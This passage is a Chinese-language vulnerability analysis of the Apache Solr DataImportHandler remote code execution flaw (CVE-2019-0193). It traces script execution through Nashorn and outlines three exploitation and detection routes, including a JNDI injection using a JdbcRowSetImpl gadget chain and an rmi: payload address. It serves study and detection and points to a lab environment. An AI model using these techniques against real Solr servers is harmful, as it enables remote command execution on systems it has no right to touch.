調用Nashorn腳本引擎的invokeFunction方法,在Java環境中執行JavaScript腳本:

transformRow方法體中的語句this.engine.invokeFunction(this.functionName, row, context);

附:Nashorn腳本引擎的invokeFunction方法定義:

public Object invokeFunction(String name, Object... args) throws ScriptException, NoSuchMethodException {
        return this.invokeImpl((Object)null, name, args);
    }

後來發現Solr中的Nashorn腳本引擎的invokeFunction方法(這個能執行JavaScript代碼的“值得關注”的方法),其實只在ScriptTransformer類中被調用。

漏洞檢測

第1種檢測方式

Exploit1使用數據源的類型爲URLDataSource

優點:結果回顯 支持對Solr低版本的檢測
缺點:需要出網

具體參考 https://github.com/1135/solr_exploit#%E6%A3%80%E6%B5%8B%E6%BC%8F%E6%B4%9E---exploit1


第2種檢測方式

Exploit2使用的數據源類型爲 ContentStreamDataSource

優點:結果回顯 無需出網

缺點:對低版本無法檢測 - 因爲通過POST請求修改configoverlay.json文件中的配置會失敗

具體參考 https://github.com/1135/solr_exploit#%E6%A3%80%E6%B5%8B%E6%BC%8F%E6%B4%9E---exploit2


第3種檢測方式

缺點:需要出網 且 JNDI注入的payload受目標主機JDK版本影響(不夠通用)

這種利用方式,使用數據源的類型爲 "JdbcDataSource" ,並且driver 爲"com.sun.rowset.JdbcRowSetImpl"

PoC中的DataConfig中,指定了Jdbc數據源(JdbcDataSource)的這些屬性:
driver屬性 (必填) - The jdbc driver classname
url屬性 (必填) - The jdbc connection url (如果用到了jndiName屬性則不必填url屬性)
jndiName屬性 可選項 - 預配置數據源的JNDI名稱(JNDI name of the preconfigured datasource)

其中jndiName屬性屬性的值,指定了payload的位置,待執行代碼在rmi:地址中。

(發送HTTP請求前還需進行URL編碼)

通過這種方式,我們使用基於com.sun.rowset.JdbcRowSetImpl類的已知gadget chain即可觸發反序列化攻擊。

需要爲'jndiName'屬性和'autoCommit'屬性調用兩個setter,並引導我們進行易受攻擊的'InitialContext.lookup'操作,因此我們可以將它作爲普通的“JNDI解析攻擊“(JNDI resolution attack)來利用。

JNDI攻擊可參閱文章"Exploiting JNDI Injections" https://www.veracode.com/blog/research/exploiting-jndi-injections-java

Solr基於Jetty,因此Tomcat技巧在這裏不適用,但你可以依賴於遠程類加載(remote classloading),它最近爲LDAP已經做了修復。

總結

Apache Solr的DataImportHandler模塊,因爲支持使用web請求來指定配置信息"DIH配置" ,攻擊者可構造HTTP請求指定dataConfig參數的值(dataConfig內容),dataConfig內容完全可控(多種利用方式),後端處理的過程中,可導致命令執行。

使用前兩種檢測辦法,可以更準確地檢測該漏洞。

靶機環境:

https://vulhub.org/#/environments/solr/CVE-2019-0193/

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章